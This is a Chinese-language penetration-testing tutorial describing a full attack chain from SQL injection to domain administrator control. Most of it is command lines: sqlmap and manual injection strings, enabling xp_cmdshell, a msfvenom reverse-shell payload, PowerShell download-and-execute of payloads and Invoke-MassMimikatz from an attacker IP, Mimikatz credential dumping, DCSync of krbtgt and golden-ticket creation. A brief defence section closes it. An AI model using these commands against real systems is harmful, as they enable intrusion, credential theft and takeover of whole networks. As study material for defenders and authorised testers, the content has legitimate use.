渗透笔记:如何通过SQL注入漏洞拿到系统的管理员权限
字数 1690 2025-08-29 08:31:35
SQL注入漏洞利用与权限提升全流程教学
1. 信息收集阶段
1.1 被动信息收集(OSINT)
-
IP地址段与域名收集:
- 使用WHOIS查询获取目标组织的IP地址段
- 通过DNS枚举获取所有相关域名和子域名
- 工具推荐:
dig,nslookup,Sublist3r
-
第三方平台信息检索:
- GitHub代码仓库搜索(可能泄露API密钥、数据库凭证等)
- Pastebin等文本分享平台搜索目标组织相关信息
- 工具推荐:
Gitrob,truffleHog
-
Shodan等搜索引擎利用:
- 搜索暴露的服务和过时软件
- 识别开放端口和潜在漏洞
- 工具推荐:
Shodan,Censys,ZoomEye
2. SQL注入漏洞利用
2.1 漏洞识别与验证
-
使用SQLMap进行自动化检测:
sqlmap -u "http://target.com/vuln_page?id=1" --is-dba--is-dba参数检查当前数据库用户是否为管理员权限
-
手动验证方法:
- 布尔型注入测试:
id=1' AND 1=1--vsid=1' AND 1=2-- - 时间延迟测试:
id=1'; WAITFOR DELAY '0:0:5'--
- 布尔型注入测试:
2.2 获取数据库访问权限
-
获取SQL Shell:
sqlmap -u "http://target.com/vuln_page?id=1" --sql-shell -
提取数据库凭证:
- 查询用户表:
SELECT * FROM sysusers - 提取密码哈希:
SELECT username, password FROM users
- 查询用户表:
2.3 密码破解
- 哈希识别与破解:
- 使用
hash-identifier识别哈希类型 - 常用工具:
John the Ripper,Hashcat - 示例Hashcat命令:
hashcat -m 1000 hashes.txt rockyou.txt
- 使用
3. 权限提升与横向移动
3.1 利用xp_cmdshell执行系统命令
-
启用xp_cmdshell(如被禁用):
EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; -
执行系统命令验证:
EXEC xp_cmdshell 'whoami' -
OOB DNS验证:
EXEC xp_cmdshell 'nslookup xyz.abc.sos.notsosecure.com'
3.2 获取交互式Shell
-
ICMP Shell建立:
- 使用
icmpsh工具建立交互式shell - 需要关闭目标系统的ICMP响应:
sysctl -w net.ipv4.icmp_echo_ignore_all=1
- 使用
-
Meterpreter Payload绕过AV:
- 使用Python Meterpreter绕过检测:
msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> > payload.py - 通过Powershell下载执行:
$WebRequest = New-Object System.Net.WebClient $WebRequest.DownloadFile('http://<IP>:8000/payload.py','C:\Windows\Temp\payload.py')
- 使用Python Meterpreter绕过检测:
3.3 内网横向移动
-
网络共享利用:
- 查找可写共享:
net share - 上传Payload到共享目录
- 查找可写共享:
-
添加内网路由:
route add 10.0.1.0 255.255.252.0 1 -
内网主机发现:
- ARP扫描:
arp-scan -l - Metasploit模块:
auxiliary/scanner/portscan/tcp
- ARP扫描:
4. 权限维持与域渗透
4.1 MSSQL服务利用
-
使用破解的凭证登录其他MSSQL服务:
use auxiliary/scanner/mssql/mssql_login set RHOSTS 10.0.1.0/24 set USER_FILE credentials.txt set PASS_FILE passwords.txt run -
获取SYSTEM权限Shell:
use auxiliary/admin/mssql/mssql_exec set CMD "powershell -e <base64_encoded_payload>" run
4.2 凭证转储技术
-
本地哈希提取:
- 使用Meterpreter的
hashdump命令 - 或直接读取SAM数据库
- 使用Meterpreter的
-
Mimikatz内存提取:
meterpreter > load mimikatz meterpreter > wdigest meterpreter > kerberos -
大规模凭证提取:
- 使用
Invoke-MassMimikatz.ps1脚本 - 下载执行:
IEX (New-Object Net.WebClient).DownloadString('http://<IP>/Invoke-MassMimikatz.ps1') Invoke-MassMimikatz
- 使用
4.3 域控制器攻击
-
DCSync攻击获取krbtgt哈希:
meterpreter > load kiwi meterpreter > dcsync_ntlm <domain>\\krbtgt -
黄金票据生成:
meterpreter > golden_ticket_create -d <domain> -k <krbtgt_ntlm> -u <username> -s <SID> -t /path/to/ticket
5. 防御建议
5.1 SQL注入防御
- 使用参数化查询或预编译语句
- 实施最小权限原则,避免使用DBA账户连接数据库
- 禁用不必要的存储过程如
xp_cmdshell
5.2 权限管理
- 定期更换服务账户密码
- 实施多因素认证
- 限制域管理员账户的使用范围
5.3 监控与检测
- 监控异常数据库查询行为
- 设置SIEM系统检测横向移动迹象
- 定期审计账户权限和登录活动
5.4 补丁与更新
- 保持数据库系统和应用软件更新
- 定期进行漏洞扫描和渗透测试
- 建立完整的资产清单,确保所有设备都纳入管理范围
6. 攻击流程图总结
- 信息收集 → 2. SQL注入发现 → 3. 获取数据库访问 → 4. 凭证提取与破解 → 5. 系统命令执行 → 6. 建立持久Shell → 7. 内网探测 → 8. 横向移动 → 9. 域渗透 → 10. 获取域管理员权限
通过这一完整流程,攻击者可以从一个简单的SQL注入漏洞逐步获取整个网络的控制权,强调了纵深防御和最小权限原则的重要性。